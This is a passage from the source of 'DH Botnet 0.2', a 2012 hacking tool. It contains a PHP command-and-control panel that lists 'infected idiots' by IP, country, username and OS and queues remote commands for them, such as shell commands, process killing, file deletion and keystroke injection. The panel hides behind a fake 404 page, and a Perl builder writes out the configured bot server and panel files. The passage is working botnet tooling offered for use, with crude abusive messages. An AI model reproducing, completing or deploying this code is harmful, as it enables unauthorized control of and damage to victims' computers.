  1046.                 mysql_query("UPDATE ordenes set orden='$op',arg1='$orden1',arg2='$orden2',arg3='$orden3' where id=" . $id);
  1047.                 $re = mysql_query("select * from slaves where id='$id'");
  1048.                 $ver = mysql_fetch_array($re);
  1049.                 $timeout = $ver[6];
  1050.                 $timeout = $timeout + $tiempo_de_carga;
  1051.                 $time = $timeout;
  1052.                 $timeout = $timeout * 1000;
  1053.                 echo "<script>alert('Wait " . htmlentities($time) . " seconds');</script>";
  1054.                 echo "
  1055. <script type=\"text/javascript\">
  1056. setTimeout (\"location.href='?console=$id'\",$timeout);
  1057. </script>
  1058. ";
  1059.             } //
  1060.             echo "
  1061. <br><br>
  1062. <center>
  1063. <h1>Infected idiots</h1>
  1064. <br><br>
  1065. ";
  1066.             $re = mysql_query("select count(clave) from slaves");
  1067.             $ver = mysql_fetch_array($re);
  1068.             if ($ver[0] == 0) { //
  1069.                 echo "<script>alert('No idiots');</script>";
  1070.             } else {
  1071.                 $re = mysql_query("select * from slaves");
  1072.                 echo "
  1073. <table border=1  width=1100>
  1074. <td ><b>ID</b></td><td ><b>Key</b></td><td ><b>IP</b></td><td ><b>Country</b></td><td ><b>Username</b></td><td ><b>OS</b></td><td ><b>Timeout</b></td><td><b>Status</b></td><td><b>Option</b></td><tr>
  1075. ";
  1076.                 $idiotas = array();
  1077.                 while ($ver = mysql_fetch_array($re)) {
  1078.                     if ($ver[7] == 1) {
  1079.                         $estado = "Online";
  1080.                     } else {
  1081.                         $estado = "Offline";
  1082.                     }
  1083.                     echo "<td >" . htmlentities($ver[0]) . "</td><td >" . htmlentities($ver[1]) . "</td><td >" . htmlentities($ver[2]) . "</td><td >" . htmlentities($ver[3]) . "</td>";
  1084.                     echo "<td >" . htmlentities($ver[4]) . "</td><td >" . htmlentities($ver[5]) . "</td><td >" . htmlentities($ver[6]) . "</td><td>" . $estado . "<td><a href=?borrar=" . $ver[0] . ">Delete</a></td><tr>";
  1085.                     $idiotas[] = $ver[0];
  1086.                     mysql_query("UPDATE slaves set estado='' where id=" . $ver[0]);
  1087.                 }
  1088.                 echo "</table>";
  1089.             } //
  1090.             echo "<form action='' method=POST>";
  1091.             echo "
  1092.  
  1093. <br><br><br><br>
  1094.  
  1095. <table>
  1096. <td>
  1097. <b>Idiot :</b>
  1098. </td>
  1099. <td>
  1100. <select name=idiotas>";
  1101.             foreach($idiotas as $idiota) {
  1102.                 echo "<option>" . $idiota . "</option>";
  1103.             }
  1104.             echo "
  1105. </select>
  1106. </td><tr>
  1107.  
  1108. <td><b>Options : </b></td>
  1109. <td><select name=options>
  1110. <option>CMD</option>
  1111. <option>GetIP</option>  
  1112. <option>GetProcess</option>
  1113. <option>KillProcess</option>
  1114. <option>ListDir</option>
  1115. <option>Delete</option>
  1116. <option>OpenFile</option>
  1117. <option>OpenCD</option>
  1118. <option>CloseCD</option>
  1119. <option>HideIcons</option>
  1120. <option>ShowIcons</option>
  1121. <option>HideTaskbar</option>
  1122. <option>ShowTaskbar</option>
  1123. <option>MSG</option>
  1124. <option>OpenWord</option>
  1125. <option>SendKeys</option>
  1126. <option>CrazyMouse</option>
  1127. </select></td><tr>
  1128.  
  1129. <td><b>Command 1 : </b></td><td><input type=text name=cmd1></td><tr>
  1130. <td><b>Command 2 : </b></td><td><input type=text name=cmd2></td><tr>
  1131. <td><b>Command 3 : </b></td><td><input type=text name=cmd3></td>
  1132. </table><br>
  1133. <input type=submit name=mandarcmd value=Send> <input type=submit name=about value=Help>
  1134. ";
  1135.             echo "</form>";
  1136.             echo "<br><br><br><br><br><br><br><h2>-- == (C) Doddy Hackman 2012 || Contact : lepuke[at]hotmail[com] || Web : doddyhackman.webcindario.com == --</h2>";
  1137.         } else {
  1138.             echo "
  1139. <center><br><br>
  1140. <form action='' method=POST>
  1141. <h2>Want to install DH Botnet 0.2 ?</h2><br><br>
  1142. <input type=submit name=instalar value=Install>
  1143. </form>";
  1144.         }
  1145.         exit(1);
  1146.     }
  1147. } elseif (isset($_POST['login'])) {
  1148.     if ($_POST['user'] == $username and md5($_POST['passwor']) == $password) {
  1149.         setcookie("portal", base64_encode($_POST['user'] . "@" . md5($_POST['passwor'])));
  1150.         echo "<script>alert('Welcome idiot');</script>";
  1151.         echo '<meta http-equiv="refresh" content=0;URL=>';
  1152.     } else {
  1153.         echo "<script>alert('DIE MOTHER FUCKER DIE');</script>";
  1154.         echo '<meta http-equiv="refresh" content=0;URL=>';
  1155.     }
  1156. } elseif (isset($_GET['poraca'])) {
  1157.     colores();
  1158.     echo "
  1159. <br><h1><center>Login</center></h1>
  1160. <br><br><center>
  1161. <form action='' method=POST>
  1162. <b>Username : </b><input type=text name=user><br>
  1163. <b>Password : </b><input type=password name=passwor><br><br>
  1164. <input type=submit name=login value=Enter><br>
  1165. </form>
  1166. </center><br><br>";
  1167. } else {
  1168.     error();
  1169. }
  1170. //
  1171. // Funciones secundarias
  1172. function colores() {
  1173.     // Colores
  1174.     $color = "#00FF00";
  1175.     $fondo = "#000000";
  1176.     echo "
  1177.  
  1178. <STYLE type=text/css>
  1179.  
  1180. body,a:link {
  1181. background-color: $fondo;
  1182. color:$color;
  1183. Courier New;
  1184. cursor:crosshair;
  1185. font: normal 0.7em sans-serif,Arial;
  1186. }
  1187.  
  1188. input,textarea,fieldset,select,table,td,tr,option,select {
  1189. font: normal 13px Verdana, Arial, Helvetica,
  1190. sans-serif;
  1191. background-color:$fondo;
  1192. color:$color;
  1193. border: solid 1px $color;
  1194. border-color:$color
  1195. }
  1196.  
  1197. a:link,a:visited,a:active {
  1198. color:$color;
  1199. font: normal 10px Verdana, Arial, Helvetica,
  1200. sans-serif;
  1201. text-decoration: none;
  1202. }
  1203.  
  1204. </style>
  1205.  
  1206. ";
  1207. }
  1208. function error() {
  1209.     echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  1210. <html><head>
  1211. <title>404 Not Found</title>
  1212. </head><body>
  1213. <h1>Not Found</h1>
  1214. <p>The requested URL was not found on this server.</p>
  1215. </body></html>';
  1216.     exit(1);
  1217. }
  1218. // End
  1219. mysql_close();
  1220. //
  1221.  
  1222. // The End ?
  1223.  
  1224. ?>);
  1225.  
  1226. ##
  1227.  
  1228.     my ( $page, $timeout, $dir_hide ) =
  1229.       ( $page->get, $timeout->get, $dir_hide->get );
  1230.  
  1231.     $code_server =~ s/ACA_VA_TU_LINK/$page/;
  1232.     $code_server =~ s/ACA_VA_EL_TIMEOUT/$timeout/;
  1233.     $code_server =~ s/ACA_VA_EL_DIRECTORIO/$dir_hide/;
  1234.  
  1235.     unlink("botnet_server.pl");
  1236.  
  1237.     open( FILE_SERVER, ">>botnet_server.pl" );
  1238.     print FILE_SERVER $code_server;
  1239.     close FILE_SERVER;
  1240.  
  1241. ###
  1242.  
  1243.     my $pro = $pass_login->get;
  1244.     my $pro = md5_hex($pro);
  1245.  
  1246.     my ( $user_login, $pass_login, $host, $user, $pass, $db, $timeout_botnet ) =
  1247.       (
  1248.         $user_login->get, $pro, $host->get, $user->get, $pass->get, $db->get,
  1249.         $timeout_botnet->get
  1250.       );
  1251.  
  1252.     $code_botnet =~ s/ACA_VA_TU_USER/$user_login/;
  1253.     $code_botnet =~ s/ACA_VA_TU_PASSWORD_EN_MD5/$pass_login/;
  1254.     $code_botnet =~ s/ACA_VA_EL_HOST/$host/;
  1255.     $code_botnet =~ s/ACA_VA_EL_USER/$user/;
  1256.     $code_botnet =~ s/ACA_VA_EL_PASS/$pass/;
  1257.     $code_botnet =~ s/ACA_VA_EL_NOMBRE/$db/;
  1258.     $code_botnet =~ s/ACA_VA_EL_TIEMPO_DE_CARGA/$timeout_botnet/;
  1259.  
  1260.     unlink("index.php");
  1261.  
  1262.     open( FILE_BOTNET, ">>index.php" );
  1263.     print FILE_BOTNET $code_botnet;
  1264.     close FILE_BOTNET;
  1265.  
  1266.     $win_bot->Dialog(
  1267.         -title            => "Oh Yeah",
  1268.         -buttons          => ["OK"],
  1269.         -text             => "Enjoy this botnet",
  1270.         -background       => $color_fondo,
  1271.         -foreground       => $color_texto,
  1272.         -activebackground => $color_texto
  1273.     )->Show();
  1274.  
  1275. }
  1276.  
  1277. #The End ?